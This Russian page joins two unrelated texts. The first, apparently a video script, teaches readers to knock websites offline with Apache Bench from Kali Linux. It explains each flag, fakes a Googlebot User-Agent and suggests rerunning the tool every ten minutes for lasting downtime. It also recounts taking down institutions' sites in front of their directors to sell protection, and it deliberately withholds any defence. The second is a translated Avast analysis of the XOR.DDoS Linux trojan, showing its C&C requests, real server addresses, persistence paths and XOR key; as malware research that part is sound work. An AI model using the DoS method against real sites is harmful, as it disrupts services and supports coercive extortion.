DDoS-атака сайта с Kali Linux. Как положить сервер за 2 минуты?
Zip File, мамкины хацкеры. Последнее время вы всё чаще просите меня вернуться к тематике, так называемых взломов и проникновения. Само-собой разумеется, что ничем таким мы тут в принципе не занимаемся. И никогда доселе не занимались. А все подобные просьбы не имеют под собой никакой почвы и веских доводов. Просто некоторые ребята порою путают проверку различного рода систем на предмет защищённости с отвратительным понятием хацкинг.
Сам я, люто ненавижу и презираю, любое вредоносное воздействие направленное на создаваемые людьми сервисы. Ведь это, по меньшей мере, бесчестно, неэтично и попросту аморально. Ладненько, ребзи, завязываем с толерастией и переходим к делу. Вы давно хотели какой-нибудь ролик про DDoS сайтов. И да, сегодня я наконец покажу вам, один из примеров, как злоумышленники проводят такие атаки.
Предвещая комменты умников, сразу отвечу, что я и без сопливых знаю разницу между DoS и DDoS. Однако, первый вариант на ютубчике вообще никто не ищет, поэтому заголовок взят исключительно из соображений оптимизации. Сам же ролик конечно же посвящён DoS’ке. Но при всём при этом никто не мешает вам зарядить это дело с нескольких тачек по разным каналам и получить по итогу полноценный DDoS.
Об этом способе мне поведал кореш из Лен. области, который уже много лет занимается тем, что наживается на наивности государственных учреждений, у которых в обязательном порядке должна быть Web-страничка на просторах сети. Причём качество исполнения, как это обычно бывает, не имеет значения. Должен быть сайт по документам – значит он есть. И занимаются такими гавно-сайтами, как правило, либо наёмные фрилансеры.
Либо сотрудники местного IT-отдела впахивающие за МРОТ и в гробу видавшие всё на свете кроме зряплаты, пива и пятницы. Поэтому о пресловутой безопасности речь в таких учреждениях заходит в самую последнюю очередь. А если и заходит, то дальше бумажек дело продвигается крайне редко. Однако информация, размещаемая на этих ресурсах, очень часто представляет действительно огромную ценность.
Особенно во время сторонних проверок. Нынче же модно проводить различные аудиты, контроли, оценки качества и прочий бред, помогающий зарабатывать копеечку всем тем, кого сердобольные тёточки наняли по знакомству и теперь не могут озадачить путной работой. Поэтому доступ к ресурсам во время этих проверок. Особенно во время этих проверок должен быть максимально стабилен. И не дай бог, сервер не сможет предоставить нужную инфу по запросу.
Это же сразу паника. Все бегут к руководству, а те в свою очередь начинают страпонить ответственного за сайтец. Тот, естественно, начинает искать выход из ситуации и находит его практически сразу. В гугле по первым же запросам выдаются сервисы, гарантирующие вам защиту от DDoSатак на самом высоком уровне. Но в таких конторах люди и по сей день с неохотой доверяют всяким там Интернетам.
Гораздо спокойнее выйти на местного человека, ИПшника, занимающегося предоставлением подобной услуги и которого в случае чего всегда можно будет найти упрекнуть и даже взыскать по факту нарушений пунктов договора, если таковые будут иметь место. Поэтому, лично я, лезть бы в такой бизнес точно не стал. Однако, для опытных кибербезопасников со стажем, это прям золотая жила. Если ещё и ленд свой раскрутите, то от желающих отбоя не будет.
Но суть нашего сегодняшнего разговора не в этом. Мой друг, частенько заглядывая в такие конторы в поисках новых клиентов проворачивал весьма интересный фокус. Сидя за столом напротив очередного скептически настроенного руководителя, он доставал ноут, спрашивал адрес их сайта и запускал стресс-тест Апатча, который в 88% случаев ложит незащищённые сайты уже через пару секунд.
Далее, он с улыбкой просил директора попробовать перейти на сайт своего учреждения и после того, как ехидная ухмылка сменялась недоумением, снова задавал свой вопрос «нуждаются ли они в услугах квалифицированной защиты сайта»? По словам товарища срабатывает в 8 из 10 случае. Главное заранее перед выездом затестить сайт на предмет восприимчивости к данному типу атак и можно смело отправляться пытать удачу.
Сегодня, я так и быть покажу вам эту методику, посредством которой вы сможете в два счёта проверить любой сайт на устойчивость к встроенному стресс-тесту Апатча. Если интересно, устраивайтесь по удобней и будем начинать.
Шаг 1. Я буду использовать виртульную машину с Kali Linux. В версии 20 года уже предустановлена вторая версия Апатча, а с ним в комплекте и нужный нам модуль тестирования Benchmark. Запускаем окно терминала.
Шаг 2. И параллельно открываем на хост-машине сайт для проверки. Я админю парочку сайтов образовательных учреждений, в частности вот страничка с дистанционными курсами. Благо в данном проекте ответственность за безопасность лежит не на мне, поэтому можно чутка поэкспериментировать в благих целях. Сейчас тем более лето, все кто хотел уже отучились. Так что 5 минутный простой никто не заметит.
Шаг 3. Возвращаемся в Kaliи вставляем длинную команду AB’шки с кучей параметров. «n» у нас отвечает за общее число отправляемых запросов, «c» – это сколько из них будет параллельных, по сути, просто количество соединений.
«k» — активирует KeepAlive, то есть даёт возможность осуществлять множество запросов в течение одной сессии. По дефолту данная возможность выключена. «r» — включает автоматический повтор, при возникновении ошибок.
А «H» до кучи передаёт в заголовках User-Agent, чтобы в логах сервера, всё отображалось, как запросы от Google Bot. Добавляем в конец адрес своего сайта, не забывая слэш на конце. Усё. Жмём «Enter»
Шаг 4. И через пару секунд возвращаемся на хост-машинку проверять доступность ресурса. Пробуем обновиться. Тадам. Сайтик слёг. Этот, к слову, работает вроде бы на WordPress’e.
Шаг 5. У меня есть ещё второй. Дмумловский. Причём он, по-моему, даже без сертификата. HTTP’шный. Тут я храню записи подкастов, чтобы выкладывать на iTunes’е. Т.к. особой популярностью они, к сожалению, тоже не пользуются, давайте побалуемся и с этой web-мордой.
Шаг 6. Возвращаемся в Kaliи в новом окне терминала изменяем адрес тестируемого ресурса. Запускаем зверюгу.
Шаг 7. Снова идём на хост и пробуем обновить страницу. Такая ж петрушка. Только тут всё ещё непонятнее, т.к. никакого сообщения об ошибке не появляется.
Эта темка отлично работает в случае, если нужно быстро увести сайтец в даун на короткое время. При желании, можете подождать, пока скрипт отработает все заданные пакеты, а затем проанализировать, сколько времени это заняло. Допустим на 100к паков у машины ушло 5 минут. Исходя из этого понимаем, что примерно каждые 10 минут можно запускать скрипт по новой и бедненький сайт, по сути, будет находиться в постоянном простое.
Ну а автоматизировать запуск такого скрипта по времени сможет любой начинающий эникей. А вот, чтобы обезопасить ресурс от этой заразы своими силами, придётся уже слегка попотеть. И знаете, я впервые сделаю исключение и нарочно не буду в данном сюжете рассказывать, как защититься. Опытные сайто-админы и так знают, а начинающим, будет стимул учиться.
Искренне надеюсь, что после просмотра данного видео тысячи школьников не побегут DDoS’ить сайты своих ни в чём не повинных учебных заведений. Ведь сайтами в таких местах занимаются, как правило, учителя информатики, а им, уж поверьте, и без того не сладко живётся. Говорю по своему опыту. Ладненько, друзья. Если вы хотите более подробно узнать про сервер Apache и вообще про команды Linux. Стать уже наконец востребованным специалистом, а не сидеть до 30ти у мамки на шее.
В таком случае настоятельно рекомендую вам ознакомиться с моим новым обучающим курсом по Администрированию Linuxс нуля. В нём я, как раз подробно освещаю основные моменты по данной теме. В данный момент, его ещё можно приобрести с 50% скидкой. И как знать, быть может это будет лучшее вложение в вашей жизни. Так что не тупите, регистрируйтесь, и начинайте учиться прямо сейчас.
>>>КЛИКНИТЕ, ЧТОБЫ УЗНАТЬ ПОДРОБНОСТИ
Ну а на сегодня это всё. Если впервые заглянул на канал, то обязательно оформляй подписон и в твоей ленте будут регулярно появляться годнейшие ролики на тему этичных взломов, атак, пентестинга и информационной безопасности. С олдов по традиции жду лайки и конечно же, комментарии по поводу того, как же всё-таки можно защититься от такой простенькой, но согласитесь, весьма эффективной DoS’ки.
Большое спасибо вам за просмотр. Всем удачи, успеха и самое главное, спокойной работы. Берегите себя и свои сайты. Настраивайте на проектах эффективную оборону и тогда, никакой злоумышленник не сможет навредить ресурсам ваших клиентам. С вами, как обычно, был Денчик. Продолжаю прислушиваться к вашим мольбам и пилить видосики чаще. Надеюсь, что вы это цените. До новых встреч, камрады. Всем пока.
Источник
Linux DDoS-троян скрывается за встроенным руткитом
Предлагаю вниманию читателей «Хабрахабра» перевод статьи «Linux DDoS Trojan hiding itself with an embedded rootkit» из блога антивирусной компании Avast.
По сообщениям группы «MalwareMustDie!», в конце сентября 2014 года появилась новая угроза для ОС Linux. Её назвали XOR.DDOS, как видно из названия, она образует ботнет для DDoS-атак. Пост упоминал о первоначальном вторжении, по SSH соединению, статические свойства исполняемых файлов Linux и используемые методы шифрования. Позже мы поняли, что процесс установки настраивает окружение Linux жертвы для работы дополнительного компонента — руткита.
Скрипт установки и вектор заражения
Инфицирование начинается с попытки брут-форса SSH, используя логин root. В случае успеха злоумышленники получают доступ к скомпрометированной машине, а затем устанавливают троян, как правило, с помощью шелл-скрипта. Скрипт содержит такие процедуры, как main, check, compiler, uncompress, setup, generate, upload, checkbuild и т.д. и переменные __host_32__, __host_64__, __kernel__, __remote__,, и т.д. Процедура main расшифровывает и выбирает C&C сервер, основываясь на архитектуре системы.
В запросе ниже параметр iid — это MD5-хэш от имени версии ядра. Сначала скрипт перечисляет все модули, работающие в текущей системе с помощью команды lsmod. Затем он берет последний и извлекает свое имя и параметр vermagic. В одном из наших случаев среда тестирования работает под «3.8.0-19-generic\SMP\mod_unload\modversions\686\», который имеет MD5-хэш, равную CE74BF62ACFE944B2167248DD0674977.
Три GET-запроса отправляются на C&C. Первой выполняется процедура check:
request:
GET /check?iid=CE74BF62ACFE944B2167248DD0674977&kernel=3.8.0reply:
1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!
request:
GET /compiler?iid=CE74BF62ACFE944B2167248DD0674977&username=admin
&password=admin&ip=103.25.9.245:8005%7C103.240.141.50:8005%7C
66.102.253.30:8005%7Cndns.dsaj2a1.org:8005%7Cndns.dsaj2a.org:8005%7C
ndns.hcxiaoao.com:8005%7Cndns.dsaj2a.com:8005
&ver=3.8.0-19-generic%5C%20SMP%5C%20mod_unload%5C%20modversions%5C%20686%5C%20
&kernel=3.8.0
reply:
1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!
request:
GET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz
reply:
1001|CE74BF62ACFE944B2167248DD0674977|create ok
Предыдущие шаги выполняются только в том случае, если уже есть собранная версия для текущей версии ядра на сервере. Если нет, сценарий находит заголовочные файлы ядра в директории /lib/modules/%s/build/, где %s означает возвращаемое значение после выполнения команды uname -r, затем упаковывает все файлы и загружает их на сервер C&C, используя специальный загрузчик, названный mini. Это первый сценарий.
Компоненты руткита являются загружаемыми модулями ядра (LKM). Для успешной установки их в системе, значение vermagic LKM необходимо согласовать с версией заголовочных файлов ядра, установленных в пользовательской системе. Именно в этом смысл всех предыдущих шагов установки. Если предыдущие последовательности потерпели неудачу, скрипт устанавливает троян без компонентов руткита.
Структура и живучесть
Двоичная структура основного исполняемого файла следующая:
Живучесть трояна достигается несколькими способами. Во-первых, он устанавливается в каталог /boot/ с именем, содержащим случайную строку из 10 символов. Затем скрипт с идентичным именем создается в каталоге /etc/init.d/. Вместе с пятью символическими ссылками, указывающими на скрипт, созданный в /etc/rc%u.d/S90%s, где %u перечисление от 1 до 5, а %s заменяется рандомным именем файла трояна. Кроме того, скрипт добавляет файл /etc/cron.hourly/cron.sh со следующим содержимым:
Строка «*/3 * * * * root /etc/cron.hourly/cron.sh» добавляется в crontab.
Функциональность основного исполняемого файла заключается в трех бесконечных циклах, ответственных за:
- Скачивание и выполнение инструкций в конфигурационный файл бота;
- Переустановка себя как /lib/udev/udev;
- Выполнение flood-команд.
Файл конфигурации содержит четыре категории списков: md5, denyip, filename и rmfile. Имеется в виду убийство запущенного процесса по его CRC-контрольной сумме, по активным соединениям с IP из списка, по имени файла
и, наконец, удаление файла с определенным именем. На следующем рисунке отображается фрагмент конфигурационного файла (выделены известные имена файлов, с соответствующими троянами).
Убийство процессов или удаление списка процессов, до его установки, типично для троянов.
Кроме того, мы должны отметить, что есть модификация этого трояна, скомпилированного для архитектуры ARM. Это говорит о том, что список потенциально инфицированных систем (кроме 32-х и 64-х Linux веб-серверов и настольных ПК) расширяется на маршрутизаторы, IoT, NAS хранилища или 32-битные сервера ARM (однако, пока это не наблюдалось в природе). Он содержит дополнительную реализацию функцию загрузки-и-выполнения в бесконечном цикле под названием daemondown:
Несколько дней назад наблюдался новый 32-битный вариант данного трояна с некоторыми изменениями. Бот устанавливается как /lib/libgcc4.so файл и уникальный файл, содержащий идентификационную строку в /var/run/udev.pid, скрипт инициализации был в /etc/cron.hourly/udev.sh и функции руткита были полностью опущены. Наличие всех этих файлов может служить индикатором компрометирования.
LKM Руткит
Трояны для платформы Windows использовали различные функции руткита в течении очень долгого времени. Известно, что некоторые трояны имели Windows вариант руткита Агония (Agony rootkit — его исходный код был опубликован в 2006 году). Мы представили исследования, связанные с этим вредоносным DDoS инструментом на Botconf 2014 в обзоре под названием Китайская курица: многоплатформенный-DDoS-ботнет. Теперь есть flood-троян для Linux, который также содержит встроенный руткит. Это основная функциональность, чтобы скрыть различные аспекты деятельности трояна и обеспечить выполнение процедур:
Троян работает в пользовательском пространстве, запрашивая эти функции от руткита в ядре с помощью команды управления вводом-выводом с определенным кодом (0×9748712). Наличие руткита сначала проверяется, открыв процесс с именем rs_dev:
Собственно, запросу необходимо два параметра: один указывает номер команды, которую будет выполнять руткит, а другой является номером порта, чтобы быть скрытым. Ниже пример того, как троян скрывает порт TCP (обратите внимание на task 3):
Основываясь на именах процедур, вполне вероятно, что авторы вредоносного ПО были вдохновлены проектом с открытым исходным кодом под названием Suterusu, чтоб собрать свой руткит. Троян с прошлого года называется «Рука Вора», он потерпел неудачу в своих амбиций, стать первым банковским трояном для Linux-десктоп. Он также заимствовал часть кода из существующего проекта с открытым исходным кодом, а именно — методов введения процесса. Описание проекта гласит: «LKM руткит для Linux 2.6/3.x на x86(_64) и ARM». В другой статье, связанной с Suterusu, был опубликован в январе 2013 года.
C&C связи
Данные передаются в зашифрованном виде в обоих направлениях с одним и тем же захардкоженым ключом XOR (BB2FA36AAA9541F0) в качестве конфигурационного файла. Дополнительный файл /var/run/sftp.pid, содержащий уникальную магическую строку длиной 32 байт, хранится и используется в качестве уникального идентификатора машины жертвы в сообщения. Существует список команд C&C, которые бот слушает: начать flood, остановить flood, скачать-и-выполнить, самообновление, отправить MD5 хэш его памяти и получить список процессов, чтобы убить:
Список C&C-серверов хранится в шелл-скрипте в переменной __remote__. Троян сначала отправляет информацию о работающей системе к серверу C&C (весьма вероятно будет отображаться на панели оператора ботнет). Ответы обычно приходят в виде команды. Заголовок команды длиной 0x1C байт хранится в структуре, называемой Header. Первая команда останавливает любые флуд-атаки и начинает следующую с одним из хостов, представленном в списке. Записи о заголовке приведены ниже. Выделенные параметры размер — это общий размера команды (Size, 0x102C), число задач (Order, 0×3, т.е. _cmd_start в таблице switch), а количество flood задач (Task_Num, 0xf):
Остальная часть команды flood содержит зашифрованую структуру с задачами атаки. После расшифровки мы можем увидеть IP-адрес (красный цвет) и порты (зеленый цвет), которые будут выполнены трояном и других параметров атаки DDoS (например, серый цвет решает тип атаки: SYN / DNS).
Источник